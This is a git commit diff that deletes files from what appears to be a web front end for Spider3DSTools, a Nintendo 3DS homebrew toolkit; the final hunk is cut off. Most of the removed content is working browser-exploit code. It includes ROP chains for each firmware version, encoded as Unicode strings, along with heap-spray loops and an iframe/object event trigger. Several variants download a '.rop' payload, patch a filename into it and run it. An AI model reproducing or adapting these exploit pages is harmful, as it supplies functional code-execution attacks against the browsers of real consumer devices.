This commit is contained in:
Plailect 2017-01-12 21:27:58 -05:00
parent 2e33948d8e
commit 2007c1d3cb
36 changed files with 19 additions and 715 deletions

BIN
17498.rop

Binary file not shown.

BIN
17552.rop

Binary file not shown.

BIN
17567.rop

Binary file not shown.

View File

@ -1,51 +0,0 @@
<html><head><script>
d=document,r=parent,w=window,n=navigator.userAgent;
if(r==w){
l='arm.dat',u=decodeURI(d.URL),g=u.split('?');
if(g.length>1){
g=g[1].split('&');
if(g[0].length>0&&g[0].length<25)l=g[0];
}
d.title='Load '+l;
w.onload=function(){
if(n.indexOf('1.7538.CN')>=0)n=n.replace('.CN',confirm('系统版本4.2-4.4选择OK系统版本4.5选择取消。')?'.CN.42':'.CN.45');
d.body.childNodes[0].innerHTML=l+' loading<iframe height=0 src=#/>';
}
}else{
w.onload=function(){
b=0,f=w.frameElement,p=f.parentNode,o=d.createElement('object');
o.addEventListener('beforeload',function(){
if(++b==1)p.addEventListener('DOMSubtreeModified',r.z);
else if(b==2)p.removeChild(f);
});
d.body.appendChild(o);
}
}
function z(){
if(n.indexOf('Nintendo 3DS')>=0){
m=[],q={'17412':'',
'17455':'噘-\ud954쌰*䱗*㌰3噘-\ud954쌰*찀ॸ妄!敠ࢴ\0@#밀%쌰*찄ॸꔨ&\0\0顤@#噘-\ud954쌰*찀ॸ妄!찠ॸ\0 䀀\0ꡤ/噘-\ud954쌰*鐸;妄!老￿\0ᡁࠀ彴4쌰*葰?ꔨ&撬ࢴ,\0\0ᡁὈࠀ￿￿쌰*\0噘-\ud954쌰*⠀ꔨ&\0\0㺄*\0 @#@#@#撌ࢴ@#@#@#@#@#@#@#@#@#@#@#@#搀ࢴ\0\0\ud954@#@#@#@#@#@#@#@#@#\ud954\ud954dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#噀-',
'17498':'樴-\udb6c해*弧*⯨3樴-\udb6c해*찀ॸ瑐!畠ࢴ\0@#낤%해*찄ॸ靘&\0\0鮔@#樴-\udb6c해*찀ॸ瑐!찠ॸ\0 䀀\0죤/樴-\udb6c해*搼;瑐!老￿\0ᡁࠀ䰬4해*啀?靘&璬ࢴ,\0\0ᡁὈࠀ￿￿해*\0樴-\udb6c해*⠀靘&\0\0儼*\0 @#@#@#璌ࢴ@#@#@#@#@#@#@#@#@#@#@#@#琀ࢴ\0\0\udb6c@#@#@#@#@#@#@#@#@#\udb6c\udb6cdmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#樜-',
'17538C42':'',
'17538C45':'',
'17538K':'',
'17538T':'',
'17552':'ΤΤ찀ॸ㷀啠ࢸ\0@#﹄"쌠찄ॸ謐"\0\0暰@#Τ찀ॸ㷀찠ॸ\0 䀀\0蛀ΤꜬ=㷀老￿\0ᡁࠀ粘=謐"咬ࢸ뽐\0\0ᡁὈࠀ￿￿￿￿\0Τ⠀謐"\0\0䈌\0 @#@#@#和ࢸ@#@#@#@#@#@#@#@#@#@#@#@#吀ࢸ\0\0埠@#@#@#@#@#@#@#@#@#埠dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#Ό',
'17552C':'',
'17552K':'',
'17552T':'',
'17567':'͜͜찀ॸ㶬蕠ࢸ\0@#"싼찄ॸ諴"\0\0暔@#͜찀ॸ㶬찠ॸ\0 䀀\0蛜͜Ꜭ=㶬老￿\0ᡁࠀ粘=諴"蒬ࢸ뼈\0\0ᡁὈࠀ￿￿￿￿\0͜⠀諴"\0\0䇸\0 @#@#@#蒌ࢸ@#@#@#@#@#@#@#@#@#@#@#@#萀ࢸ\0\0埄@#@#@#@#@#@#@#@#@#埄dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#̈́',
'17567C':'',
'17567K':'',
'17567T':''
}[n.split('/').pop().replace(/[^\dCKT]/g,'')],
s=q.indexOf("dmc:/")+5;
q=q.substring(0,s)+l+"\0"+q.slice(s+l.length+1);
q+=Array(384-q.length+1+1).join('\0');
for(j=1;j<410;j++){
i=j/96,a=Array(j);
for(k=0;k<i;a[k++]=q);
m.push(d.createTextNode(String.fromCharCode.apply(null,Array(a))));
}
}
}</script></head><body><h1>.</h1></body></html>

16
3ds.css
View File

@ -1,16 +0,0 @@
*{ margin: 0px;}
#top { position: relative; width: 400px; height: 220px; margin: 0 auto;}
#topscreen { position: absolute; left: 0px; top: 0px; width: 400px; height: 220px; overflow: hidden; background-image: url(/3ds/home_top.png); }
#status { display: none; }
#bottom { position: relative; width: 320px; height: 212px; margin: 0 40; }
#bottomscreen { position: absolute; left: 0px; top: 0px; width: 320px; height: 212px; overflow: hidden; background-image: url(/3ds/home_bottom.png); }
#bottompane { margin-top: 36px; }
#navi { display: none; }
button.image { border: none; padding: 0px; background-size: 100% 100%; }
button::-moz-focus-inner { padding: 0; border: 0; }
div#title { border: 9px solid #eaebe6; padding: 0px; background: #eaebe6; border-radius: 9; box-shadow: 3px 3px 9px #888888; }
button.image:focus { box-shadow: 0 0 8px 2px #3ccd78 inset; }
/*
button.image:hover { border: 4px solid #3ccd78; margin: -4px; border-radius: 4;}
button.image:focus { border: 4px solid #3ccd78; margin: -4px; border-radius: 4;}
*/

View File

@ -1,3 +0,0 @@
The WEB GUI for [Spider3DSTools](https://github.com/dukesrg/Spider3DSTools) and more.
=====
Launching exploit on 3DS directly from that GUI might be unstable, in that case make a bookmark just after following the link but before browser hangs. On non-3DS devices you will get QR-code for the latest exploitable 3DS browser version.

View File

@ -1,6 +0,0 @@
<html><head></head><body><center>
NATIVE<br><img src='https://chart.googleapis.com/chart?cht=qr&chs=200x200&chl=http://dukesrg.github.io/firm.html?N'><br>
TWL<br><img src='https://chart.googleapis.com/chart?cht=qr&chs=200x200&chl=http://dukesrg.github.io/firm.html?T'><br>
AGB<br><img src='https://chart.googleapis.com/chart?cht=qr&chs=200x200&chl=http://dukesrg.github.io/firm.html?A'><br>
MSET<br><img src='https://chart.googleapis.com/chart?cht=qr&chs=200x200&chl=http://dukesrg.github.io/mset.html'><br>
</center></body></html>

View File

@ -1,9 +0,0 @@
var fileref=document.createElement('link')
fileref.setAttribute('rel', 'stylesheet')
fileref.setAttribute('type', 'text/css')
fileref.setAttribute('href', './web.css')
if (navigator.platform.indexOf('Nintendo 3DS') > -1){
fileref.setAttribute('href', '/.3ds.css')
window.setInterval(function(){window.scrollTo(40,220);},50);
}
document.getElementsByTagName('head')[0].appendChild(fileref)

BIN
cakes.bin

Binary file not shown.

BIN
cakes.pak

Binary file not shown.

View File

@ -1,51 +0,0 @@
<html><head><script>
d=document,r=parent,w=window,n=navigator.userAgent;
if(r==w){
l='Cakes.dat',u=decodeURI(d.URL),g=u.split('?');
if(g.length>1){
g=g[1].split('&');
if(g[0].length>0&&g[0].length<25)l=g[0];
}
d.title='Load '+l;
w.onload=function(){
if(n.indexOf('1.7538.CN')>=0)n=n.replace('.CN',confirm('系统版本4.2-4.4选择OK系统版本4.5选择取消。')?'.CN.42':'.CN.45');
d.body.childNodes[0].innerHTML=l+' loading<iframe height=0 src=#/>';
}
}else{
w.onload=function(){
b=0,f=w.frameElement,p=f.parentNode,o=d.createElement('object');
o.addEventListener('beforeload',function(){
if(++b==1)p.addEventListener('DOMSubtreeModified',r.z);
else if(b==2)p.removeChild(f);
});
d.body.appendChild(o);
}
}
function z(){
if(n.indexOf('Nintendo 3DS')>=0){
m=[],q={'17412':'',
'17455':'',
'17498':'樴-\udb6c해*弧*⯨3樴-\udb6c해*찀ॸ瑐!畠ࢴ\0@#낤%해*찄ॸ靘&\0\0鮔@#樴-\udb6c해*찀ॸ瑐!찠ॸ\0ᡁ䀀\0죤/樴-\udb6c해*搼;瑐!老￿\0ᡁ䀀\0䰬4해*啀?靘&璬ࢴ,\0\0ᡁကᥝ䀀\0￿￿해*\0樴-\udb6c해*쨀㮚靘&\0\0儼* @#@#@#璌ࢴ@#@#@#@#@#@#@#@#@#@#@#@#琀ࢴ\0\0\udb6c@#@#@#@#@#@#@#@#@#\udb6c\udb6cdmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#樜-',
'17538C42':'ﺘ찀ॸ㷈Š࣌\0@#"싸찄ॸ欬"\0\0暄@#ﺘ찀ॸ㷈찠ॸ\0ᡁ䀀\0璼霄=㷈老￿\0ᡁ䀀\0봜沘=欬"¬࣌멄\0\0ᡁ ᥙ䀀\0￿￿￿￿\0ﺘ쨀㮚欬"\0\0䈘 @#@#@#Œ࣌@#@#@#@#@#@#@#@#@#@#@#@#\0࣌\0\0垴@#@#@#@#@#@#@#@#@#垴dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#ﺀ',
'17538C45':'ﺨ찀ॸ㷀Š࣌\0@#"쌤찄ॸ櫸"\0\0暴@#ﺨ찀ॸ㷀찠ॸ\0ᡁ䀀\0濈霄=㷀老￿\0ᡁ䀀\0봰沘=櫸"¬࣌멘\0\0ᡁ ᥙ䀀\0￿￿￿￿\0ﺨ쨀㮚櫸"\0\0䈌 @#@#@#Œ࣌@#@#@#@#@#@#@#@#@#@#@#@#\0࣌\0\0埤@#@#@#@#@#@#@#@#@#埤dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#ﺐ',
'17538K':'﹬찀ॸ㷈Š࣍\0@#"싸찄ॸ稨"\0\0暄@#﹬찀ॸ㷈찠ॸ\0ᡁ䀀\0胸꜄=㷈老￿\0ᡁ䀀\0볰粘=稨"¬࣍먘\0\0ᡁ ᥙ䀀\0￿￿￿￿\0﹬쨀㮚稨"\0\0䈘 @#@#@#Œ࣍@#@#@#@#@#@#@#@#@#@#@#@#\0࣍\0\0垴@#@#@#@#@#@#@#@#@#垴dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#﹔',
'17538T':'ﺘ찀ॸ㷈Š࣍\0@#"싸찄ॸ穤"\0\0暄@#ﺘ찀ॸ㷈찠ॸ\0ᡁ䀀\0胼꜄=㷈老￿\0ᡁ䀀\0봜粘=穤"¬࣍멄\0\0ᡁ ᥙ䀀\0￿￿￿￿\0ﺘ쨀㮚穤"\0\0䈘 @#@#@#Œ࣍@#@#@#@#@#@#@#@#@#@#@#@#\0࣍\0\0垴@#@#@#@#@#@#@#@#@#垴dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#ﺀ',
'17552':'',
'17552C':'',
'17552K':'',
'17552T':'',
'17567':'',
'17567C':'',
'17567K':'',
'17567T':''
}[n.split('/').pop().replace(/[^\dCKT]/g,'')],
s=q.indexOf("dmc:/")+5;
q=q.substring(0,s)+l+"\0"+q.slice(s+l.length+1);
q+=Array(384-q.length+1+1).join('\0');
for(j=1;j<410;j++){
i=j/96,a=Array(j);
for(k=0;k<i;a[k++]=q);
m.push(d.createTextNode(String.fromCharCode.apply(null,Array(a))));
}
}
}</script></head><body><h1>.</h1></body></html>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -1,61 +0,0 @@
<html><head><script>
d=document,r=parent,w=window,n=navigator.userAgent;
if(r==w){
g=w.location.search.slice(1).split('&'),l=decodeURIComponent(g[0]);
w.onload=function(){
if(n.indexOf('1.7538.CN')>=0)n=n.replace('.CN',confirm('系统版本4.2-4.4选择OK系统版本4.5选择取消。')?'.CN.42':'.CN.45');
var h=d.body.childNodes[0];
var v=n.split('/').pop().replace(/[^\dCKT]/g,'')+'.rop';
h.innerHTML='Downloading payload '+v+': ';
var x=new XMLHttpRequest();
x.open('GET',v,true);
x.overrideMimeType('text/plain; charset=x-user-defined');
x.onload=function(){
if(x.status==200){
var u='OK';
var s=x.responseText;
var y=s.indexOf('http://');
if(y>0&&l.length>0)s=s.substring(0,y)+l+'\0'+s.slice(y+l.length+1);
y=s.length;
var t=Array(y<768?768:y);
for(i=0;i<y;t[i]=s.charCodeAt(i)&255,i++);
y=t.length>>1;
for(i=0;i<y;t[i]=t[i*2]|t[i*2+1]<<8,i++);
t.length>>=1;
s=String.fromCharCode.apply(null,t);
if(s.length<=384)s+=Array(384-s.length+1).join('\0')+s;
s+=Array(384*15-s.length+1+1).join('\0');
q=[];
for(k=0,i=0;k<15;q[k++]=s.substring(i,i+385),i+=384);
u+='<br>Downloading code...<iframe height=0 src=#/>';
}else{
u='failed';
}
h.innerHTML+=u;
}
x.send();
}
}else{
w.onload=function(){
b=0,f=w.frameElement,p=f.parentNode,o=d.createElement('object');
o.addEventListener('beforeload',function(){
if(++b==1)p.addEventListener('DOMSubtreeModified',r.z);
else if(b==2)p.removeChild(f);
});
d.body.appendChild(o);
}
}
function z(){
if(n.indexOf('Nintendo 3DS')>=0){
m=[];
for(j=0;j<410;j++){
a=Array(j);
if(384<j&&j<388){
for(k=0,i=(j-385)*5;k<5;a[k++]=q[i++]);
}else{
for(k=0,i=j/96;k<i;a[k++]=q[1]);
}
m.push(d.createTextNode(String.fromCharCode.apply(null,Array(a))));
}
}
}</script></head><body><h1>.</h1></body></html>

Binary file not shown.

View File

@ -1,71 +0,0 @@
<html><head><script>
d=document,r=parent,w=window,n=navigator.userAgent;
if(r==w){
l='Cakes.dat',g=decodeURI(d.URL).split('?');
if(g.length>1){
g=g[1].split('&');
if(g[0].length>0&&g[0].length<25)l=g[0];
}
d.title='Load '+l;
w.onload=function(){
if(n.indexOf('1.7538.CN')>=0)n=n.replace('.CN',confirm('系统版本4.2-4.4选择OK系统版本4.5选择取消。')?'.CN.42':'.CN.45');
var h=d.body.childNodes[0];
var v=n.split('/').pop().replace(/[^\dCKT]/g,'')+'.rop';
h.innerHTML='Downloading payload '+v+': ';
var x=new XMLHttpRequest();
x.open('GET',v,true);
x.overrideMimeType('text/plain; charset=x-user-defined');
x.onload=function(){
if(x.status==200){
var u='OK<br>Patching filename to '+l+': ';
var s=x.responseText;
var y=s.length;
var t=Array(y<768?768:y);
for(i=0;i<y;t[i]=s.charCodeAt(i)&255,i++);
y=t.length>>1;
for(i=0;i<y;t[i]=t[i*2]|t[i*2+1]<<8,i++);
t.length>>=1;
s=String.fromCharCode.apply(null,t);
y=s.indexOf('dmc:/')+5;
if(y>4){
s=s.substring(0,y)+l+'\0'+s.slice(y+l.length+1);
u+='OK';
}else{
u+='skipped';
}
if(s.length<=384)s+=Array(384-s.length+1).join('\0')+s;
s+=Array(384*15-s.length+1+1).join('\0');
q=[];
for(k=0,i=0;k<15;q[k++]=s.substring(i,i+385),i+=384);
u+='<br>Executing payload...<iframe height=0 src=#/>';
}else{
u='failed';
}
h.innerHTML+=u;
}
x.send();
}
}else{
w.onload=function(){
b=0,f=w.frameElement,p=f.parentNode,o=d.createElement('object');
o.addEventListener('beforeload',function(){
if(++b==1)p.addEventListener('DOMSubtreeModified',r.z);
else if(b==2)p.removeChild(f);
});
d.body.appendChild(o);
}
}
function z(){
if(n.indexOf('Nintendo 3DS')>=0){
m=[];
for(j=0;j<410;j++){
a=Array(j);
if(384<j&&j<388){
for(k=0,i=(j-385)*5;k<5;a[k++]=q[i++]);
}else{
for(k=0,i=j/96;k<i;a[k++]=q[1]);
}
m.push(d.createTextNode(String.fromCharCode.apply(null,Array(a))));
}
}
}</script></head><body><h1>.</h1></body></html>

View File

@ -1,10 +0,0 @@
<html><head><script>
s=window.location.search.slice(1).split('&');
window.location.assign(
window.location.href.replace(/\/[^\/]+$/,'')+'/get?'+encodeURIComponent('http://nus.cdn.c.shop.nintendowifi.net/ccs/download/0004013800000'+{
'N':'002/00000049',
'T':'102/00000016',
'A':'202/0000000B'
}[s[0].charAt(0).toUpperCase()])+(s.length>1?'&'+s[1]:'')
);
</script></head></html>

Binary file not shown.

View File

@ -1,63 +0,0 @@
<html><head><script>
d=document,r=parent,w=window,n=navigator.userAgent;
if(r==w){
g=w.location.search.slice(1).split('&'),l=decodeURIComponent(g[0]),e=g.length>1?g[1]:l.replace(/^.*\//,'');
w.onload=function(){
if(n.indexOf('1.7538.CN')>=0)n=n.replace('.CN',confirm('系统版本4.2-4.4选择OK系统版本4.5选择取消。')?'.CN.42':'.CN.45');
var h=d.body.childNodes[0];
var v=n.split('/').pop().replace(/[^\dCKT]/g,'')+'.rap';
h.innerHTML='Downloading payload '+v+': ';
var x=new XMLHttpRequest();
x.open('GET',v,true);
x.overrideMimeType('text/plain; charset=x-user-defined');
x.onload=function(){
if(x.status==200){
var u='OK';
var s=x.responseText;
var y=s.indexOf('http://');
if(y>0&&l.length>0)s=s.substring(0,y)+l+'\0'+s.slice(y+l.length+1);
y=s.length;
var t=Array(y<768?768:y);
for(i=0;i<y;t[i]=s.charCodeAt(i)&255,i++);
y=t.length>>1;
for(i=0;i<y;t[i]=t[i*2]|t[i*2+1]<<8,i++);
t.length>>=1;
s=String.fromCharCode.apply(null,t);
y=s.indexOf('dmc:/')+5;
if(y>4&&e.length>0)s=s.substring(0,y)+e+'\0'+s.slice(y+e.length+1);
if(s.length<=384)s+=Array(384-s.length+1).join('\0')+s;
s+=Array(384*15-s.length+1+1).join('\0');
q=[];
for(k=0,i=0;k<15;q[k++]=s.substring(i,i+385),i+=384);
u+='<br>Downloading content...<iframe height=0 src=#/>';
}else{
u='failed';
}
h.innerHTML+=u;
}
x.send();
}
}else{
w.onload=function(){
b=0,f=w.frameElement,p=f.parentNode,o=d.createElement('object');
o.addEventListener('beforeload',function(){
if(++b==1)p.addEventListener('DOMSubtreeModified',r.z);
else if(b==2)p.removeChild(f);
});
d.body.appendChild(o);
}
}
function z(){
if(n.indexOf('Nintendo 3DS')>=0){
m=[];
for(j=0;j<410;j++){
a=Array(j);
if(384<j&&j<388){
for(k=0,i=(j-385)*5;k<5;a[k++]=q[i++]);
}else{
for(k=0,i=j/96;k<i;a[k++]=q[1]);
}
m.push(d.createTextNode(String.fromCharCode.apply(null,Array(a))));
}
}
}</script></head><body><h1>.</h1></body></html>

View File

@ -1,8 +1,11 @@
<html><head><script>
d=document,r=parent,w=window,n=navigator.userAgent;
if(r==w){
l='Cakes.dat',g=w.location.search.slice(1).split('&');
if(g[0].length>0&&g[0].length<89)l=decodeURIComponent(g[0]);
l='arm11.bin',u=decodeURI(d.URL),g=u.split('?');
if(g.length>1){
g=g[1].split('&');
if(g[0].length>0&&g[0].length<25)l=g[0];
}
d.title='Load '+l;
w.onload=function(){
if(n.indexOf('1.7538.CN')>=0)n=n.replace('.CN',confirm('系统版本4.2-4.4选择OK系统版本4.5选择取消。')?'.CN.42':'.CN.45');
@ -21,20 +24,20 @@ if(r==w){
function z(){
if(n.indexOf('Nintendo 3DS')>=0){
m=[],q={'17412':'',
'17455':'',
'17498':'樴-\udb6c해*弧*⯨3樴-\udb6c해*찀ॸ瑐!畠ࢴ\0@#낤%해*찄ॸ靘&\0\0鮔@#樴-\udb6c해*찀ॸ瑐!찠ॸ\0ᡁ䀀\0죤/樴-\udb6c해*搼;瑐!老￿\0ᡁ䀀\0䰬4해*啀?靘&璬ࢴ,\0\0ᡁ ᤭䀀\0￿￿해*\0樴-\udb6c해*쨀㮚靘&\0\0儼* @#@#@#璌ࢴ@#@#@#@#@#@#@#@#@#@#@#@#琀ࢴ\0\0\udb6c@#@#@#@#@#@#@#@#@#\udb6c\udb6cdmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#樜-',
'17538C42':'찀ॸ㷈Š࣌\0@#"싸찄ॸ欬"\0\0暄@#ﺘ찀ॸ㷈찠ॸ\0ᡁ䀀\0璼霄=㷈老￿\0ᡁ䀀\0봜沘=欬"¬࣌멄\0\0ᡁ瀀ᤵ䀀\0￿￿￿￿\0ﺘ쨀㮚欬"\0\0䈘 @#@#@#Œ࣌@#@#@#@#@#@#@#@#@#@#@#@#\0࣌\0\0垴@#@#@#@#@#@#@#@#@#垴dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#ﺀ',
'17538C45':'찀ॸ㷀Š࣌\0@#"쌤찄ॸ櫸"\0\0暴@#ﺨ찀ॸ㷀찠ॸ\0ᡁ䀀\0濈霄=㷀老￿\0ᡁ䀀\0봰沘=櫸"¬࣌멘\0\0ᡁ瀀ᤵ䀀\0￿￿￿￿\0ﺨ쨀㮚櫸"\0\0䈌 @#@#@#Œ࣌@#@#@#@#@#@#@#@#@#@#@#@#\0࣌\0\0埤@#@#@#@#@#@#@#@#@#埤dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#ﺐ',
'17538K':'찀ॸ㷈Š࣍\0@#"싸찄ॸ稨"\0\0暄@#﹬찀ॸ㷈찠ॸ\0ᡁ䀀\0胸꜄=㷈老￿\0ᡁ䀀\0볰粘=稨"¬࣍먘\0\0ᡁ倀ᤥ䀀\0￿￿￿￿\0﹬쨀㮚稨"\0\0䈘 @#@#@#Œ࣍@#@#@#@#@#@#@#@#@#@#@#@#\0࣍\0\0垴@#@#@#@#@#@#@#@#@#垴dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#﹔',
'17538T':'찀ॸ㷈Š࣍\0@#"싸찄ॸ穤"\0\0暄@#ﺘ찀ॸ㷈찠ॸ\0ᡁ䀀\0胼꜄=㷈老￿\0ᡁ䀀\0봜粘=穤"¬࣍멄\0\0ᡁ倀ᤵ䀀\0￿￿￿￿\0ﺘ쨀㮚穤"\0\0䈘 @#@#@#Œ࣍@#@#@#@#@#@#@#@#@#@#@#@#\0࣍\0\0垴@#@#@#@#@#@#@#@#@#垴dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#ﺀ',
'17552':'ΤΤ찀ॸ㷀啠ࢸ\0@#﹄"쌠찄ॸ謐"\0\0暰@#Τ찀ॸ㷀찠ॸ\0ᡁ䀀\0蛀ΤꜬ=㷀老￿\0ᡁ䀀\0숨粘=謐"咬ࢸ뽐\0\0ᡁ ᥙ䀀\0￿￿￿￿\0Τ쨀㮚謐"\0\0䈌 @#@#@#和ࢸ@#@#@#@#@#@#@#@#@#@#@#@#吀ࢸ\0\0埠@#@#@#@#@#@#@#@#@#埠dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#Ό',
'17552C':'찀ॸ㷀Š࣌\0@#"쌠찄ॸ犠"\0\0暰@#ﻀ찀ॸ㷀찠ॸ\0ᡁ䀀\0甜꜌=㷀老￿\0ᡁ䀀\0뵈粘=犠"¬࣌며\0\0ᡁ ᥙ䀀\0￿￿￿￿\0ﻀ쨀㮚犠"\0\0䈌 @#@#@#Œ࣌@#@#@#@#@#@#@#@#@#@#@#@#\0࣌\0\0埠@#@#@#@#@#@#@#@#@#埠dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#ﺨ',
'17552K':'찀ॸ㷀Š࣍\0@#靖"쌠찄ॸ艴"\0\0暰@#ﺔ찀ॸ㷀찠ॸ\0ᡁ䀀\0蛼꜌=㷀老￿\0ᡁ䀀\0봜粘=艴"¬࣍멄\0\0ᡁ ᥙ䀀\0￿￿￿￿\0ﺔ쨀㮚艴"\0\0䈌 @#@#@#Œ࣍@#@#@#@#@#@#@#@#@#@#@#@#\0࣍\0\0埠@#@#@#@#@#@#@#@#@#埠dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#ﹼ',
'17552T':'찀ॸ㷀Š࣍\0@#ﭜ"쌠찄ॸ苰"\0\0暰@#ﻀ찀ॸ㷀찠ॸ\0ᡁ䀀\0蝄꜌=㷀老￿\0ᡁ䀀\0뵈粘=苰"¬࣍며\0\0ᡁ ᥙ䀀\0￿￿￿￿\0ﻀ쨀㮚苰"\0\0䈌 @#@#@#Œ࣍@#@#@#@#@#@#@#@#@#@#@#@#\0࣍\0\0埠@#@#@#@#@#@#@#@#@#埠dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#ﺨ',
'17567':'͜͜찀ॸ㶬蕠ࢸ\0@#"싼찄ॸ諴"\0\0暔@#͜찀ॸ㶬찠ॸ\0ᡁ䀀\0蛜͜Ꜭ=㶬老￿\0ᡁ䀀\0쇠粘=諴"蒬ࢸ뼈\0\0ᡁ ᥙ䀀\0￿￿￿￿\0͜쨀㮚諴"\0\0䇸 @#@#@#蒌ࢸ@#@#@#@#@#@#@#@#@#@#@#@#萀ࢸ\0\0埄@#@#@#@#@#@#@#@#@#埄dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#̈́',
'17567C':'찀ॸ㶬Š࣌\0@#"싼찄ॸ犌"\0\0暔@#ﹸ찀ॸ㶬찠ॸ\0ᡁ䀀\0畀꜌=㶬老￿\0ᡁ䀀\0봀粘=犌"¬࣌먨\0\0ᡁ ᥙ䀀\0￿￿￿￿\0ﹸ쨀㮚犌"\0\0䇸 @#@#@#Œ࣌@#@#@#@#@#@#@#@#@#@#@#@#\0࣌\0\0埄@#@#@#@#@#@#@#@#@#埄dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#﹠',
'17567K':'찀ॸ㶬Š࣍\0@#戴"싼찄ॸ艜"\0\0暔@#﹌찀ॸ㶬찠ॸ\0ᡁ䀀\0蜘꜌=㶬老￿\0ᡁ䀀\0볔粘=艜"¬࣍맼\0\0ᡁ ᥙ䀀\0￿￿￿￿\0﹌쨀㮚艜"\0\0䇸 @#@#@#Œ࣍@#@#@#@#@#@#@#@#@#@#@#@#\0࣍\0\0埄@#@#@#@#@#@#@#@#@#埄dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#︴',
'17567T':'찀ॸ㶬Š࣍\0@#ﬠ"싼찄ॸ苘"\0\0暔@#ﹸ찀ॸ㶬찠ॸ\0ᡁ䀀\0蝠꜌=㶬老￿\0ᡁ䀀\0봀粘=苘"¬࣍먨\0\0ᡁ ᥙ䀀\0￿￿￿￿\0ﹸ쨀㮚苘"\0\0䇸 @#@#@#Œ࣍@#@#@#@#@#@#@#@#@#@#@#@#\0࣍\0\0埄@#@#@#@#@#@#@#@#@#埄dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#﹠'
'17455':'噘-\ud954쌰*䱗*㌰3噘-\ud954쌰*찀ॸ妄!敠ࢴ\0@#밀%쌰*찄ॸꔨ&\0\0顤@#噘-\ud954쌰*찀ॸ妄!찠ॸ\0 䀀\0ꡤ/噘-\ud954쌰*鐸;妄!老￿\0ᡁࠀ彴4쌰*葰?ꔨ&撬ࢴ,\0\0ᡁὈࠀ￿￿쌰*\0噘-\ud954쌰*⠀ꔨ&\0\0㺄*\0 @#@#@#撌ࢴ@#@#@#@#@#@#@#@#@#@#@#@#搀ࢴ\0\0\ud954@#@#@#@#@#@#@#@#@#\ud954\ud954dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#噀-',
